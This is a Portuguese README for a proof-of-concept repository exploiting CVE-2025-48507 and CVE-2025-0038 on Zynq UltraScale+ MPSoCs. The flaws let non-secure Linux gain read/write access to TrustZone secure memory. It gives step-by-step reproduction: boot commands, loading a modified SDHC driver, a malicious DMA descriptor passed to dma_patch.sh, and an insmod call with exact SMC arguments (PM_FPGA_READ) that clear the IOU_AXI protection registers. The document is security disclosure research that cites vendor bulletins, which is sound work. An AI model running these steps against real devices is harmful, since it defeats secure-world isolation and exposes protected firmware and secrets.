Quebrando TrustZone em Zynq UltraScale+ MPSoCs - Prova de Conceito para CVE-2025-48507 e CVE-2025-0038

Software Não Seguro poderia explorar CVE-2025-48507 e CVE-2025-0038 para obter acesso de leitura/escrita ao Mundo Seguro em plataformas Zynq UltraScale+, quebrando assim o isolamento TrustZone. Para tanto, o Software Não Seguro explora CVE-2025-0038 e CVE-2025-48507 para limpar os registradores IOU_AXI_WPRTCN e IOU_AXI_RPRTCN (0xFF240000) para alterar o Controlador de Host SD para Mestre Seguro. Então, o software Não Seguro (por exemplo, Linux) utiliza o Controlador de Host SD (a interface escrava ainda é Não Segura) para escrever ou ler de qualquer memória Segura.

Mais informações:

• Boletins de segurança da AMD:
  • AMD-SB-8008 (CVE-2025-0038) https://docs.amd.com/r/en-US/000037628/CVE-Details
  • AMD-SB-8017 (CVE-2025-48507): https://docs.amd.com/r/en-US/000039030/CVE-Details
• Apresentação PowerPoint da PoC: /doc/PoC_Exploit_presentation.pdf
• Vídeo da PoC: https://www.dropbox.com/scl/fi/2ug3w9ukf366g4mi5g7y7/CVE-PoC.mp4?rlkey=9zgdayte0vv4114assf0grfgg&st=9qupyn9d&dl=0
• Artigo de pesquisa original (Seção 5.5): /doc/preprint.pdf

Plataformas afetadas:

• Kria™ SOM
• Zynq UltraScale+ MPSoCs
• Zynq UltraScale+ RFSoCs

Componentes afetados:

• Arm Trusted Firmware para processadores Cortex-A (TF-A) e Firmware PMU versões até 2025.1.

Organização deste Repositório:

• source/ : Código-fonte para reproduzir esta PoC em Zynq UltraScale+ MPSoCs (ZC104)

  • Para aproveitar CVE-2025-48507 e CVE-2025-0038

    • smc-tt.c: Módulo básico do Kernel que permite ao Linux Não Seguro emitir chamadas SMC arbitrárias.

    • Makefile: Um Makefile para compilação cruzada de módulos do kernel (Os caminhos devem ser adaptados).

  • Para explorar CVE-2025-0038 e CVE-2025-48507

    • sdhc.c: Driver SDHC modificado que permite realizar ataques DMA usando o Controlador de Host SD (SDHC)
    • dma_patch.sh: Um script conveniente que depende do driver SDHC modificado para modificar regiões de memória arbitrária através das capacidades DMA do SDHC

• doc/ : Apresentações e artigo de pesquisa detalhando as vulnerabilidades de segurança nos níveis TF-A e PMU.

• hw_debug/: Scripts de depuração de hardware para depurar TF-A na APU e no processador PMU. Eles fornecem um ambiente para depurar as funções afetadas no firmware PMU e TF-A e confirmar o sucesso do ataque. Esses scripts devem ser usados com Trace32 e um depurador de hardware JTAG Lauterbach PowerDebug PRO. O depurador de hardware foi conectado à porta JTAG (J180) do ZCU104.

Reprodução do Ataque

Construindo o Ambiente:

1. Construa um ambiente afetado (isto é, Linux, TF-A, Firmware PMU...).

   • por exemplo, imagens pré-construídas do Petalinux, Yocto, ferramentas Petalinux...

2. Ao construir o Linux, defina o driver SDHC como módulo do kernel carregável através do kconfig. Isso é necessário apenas para exploração.

   • MMC_SDHCI=M

3. Compile os módulos do kernel smc-tt.c e sdhci.c. O Makefile fornecido pode ser usado adaptando os caminhos do kernel e do compilador.

4. Para aproveitar as CVEs, adicione smc-tt.ko ao rootfs do Linux

5. Para exploração das CVEs, adicione sdhci.ko e dma_patch.sh ao rootfs do Linux

PoC e Exploit das CVEs:

Na PoC, o sistema (isto é, fslb, uboot...) foi inicializado a partir de um cartão SD. O rootfs do Linux foi gravado em um USB. Para o ataque DMA, o Linux usou uma partição vazia do cartão SD acessada pelo Controlador de Host SD acionado pelo driver SDHC modificado (sdhci.ko).

Para apenas testar as CVEs, os passos 2, 3 e 5 podem ser ignorados.

1. Comandos U-boot para inicializar o Linux no mundo Não Seguro com seu rootfs em uma partição USB:

   setenv bootargs root="/dev/sda" rw rootwait; fatload mmc 0 0x200000 Image && fatload mmc 0 0x1e0000 system.dtb && booti 0x200000 - 0x1e0000
   

2. Insira o driver SDHC modificado para realizar acesso DMA arbitrário:

   insmod /sdhci.ko
   insmod /lib/modules/6.6.70/kernel/drivers/mmc/host/sdhci-pltfm.ko
   insmod /lib/modules/6.6.70/kernel/drivers/mmc/host/sdhci-of-arasan.ko 
   

3. Tente modificar a memória Segura aproveitando o driver SDHC modificado. Isso deve falhar pois o SDHC ainda é Não Seguro:

   ./dma_patch.sh SECURE_MEMORY_PATCHED_BY_NON_SEC '\x00\x00\xdc\xff\x20\x00\x23\x00' /dev/mmcblk0p3
   

   • ARG1: PAYLOAD

   • ARG2: Descritor malicioso para realizar acesso DMA malicioso.

     • Exemplo: '\x00\x00\xdc\xff\x20\x00\x23\x00' para modificar 0x20 bytes no endereço 0xFFDC0000. \x23\x00 deve ser mantido como está

   • ARG3: Uma partição de dispositivo gerenciada pelo Controlador de Host SD controlado pelo driver SDHC modificado.

     • Exemplo: /dev/mmcblk0p3

4. Explore as CVEs para limpar IOU_AXI_WPRTCN e IOU_AXI_RPRTCN (0xFF240000):

   insmod /smc-tt.ko r0=0xc200002E r1=0xff24000000000100 r2=0x100000000
   

   • 0xc200002E: Chamada SMC afetada (PM_FPGA_READ).

   • 0xff24000000000100: Endereço a ser limpo (0xFF240000) (isto é, IOU_AXI_RPRTCN/IOU_AXI_WPRTCN) e o número de bytes a limpar (0x00000100)

   • 0x100000000: Ler os dados da PL de volta para a memória principal (0x1). Como nada foi carregado, isso simplesmente limpará a região de memória alvo.

   • Mais informações sobre os parâmetros de PM_FPGA_READ: https://github.com/ARM-software/arm-trusted-firmware/blob/c8eb6b042b57a145945a80fe4949c6f678309925/plat/xilinx/zynqmp/pm_service/zynqmp_pm_api_sys.c#L1693

5. Tente modificar a memória Segura novamente (0xFFDC0000). Isso deve ser bem-sucedido pois o SDHC agora é Seguro:

   ./dma_patch.sh SECURE_MEMORY_PATCHED_BY_NON_SEC '\x00\x00\xdc\xff\x20\x00\x23\x00' /dev/mmcblk0p3
   

Agora o Linux pode aproveitar o DMA do SDHC para acessar totalmente a Memória Segura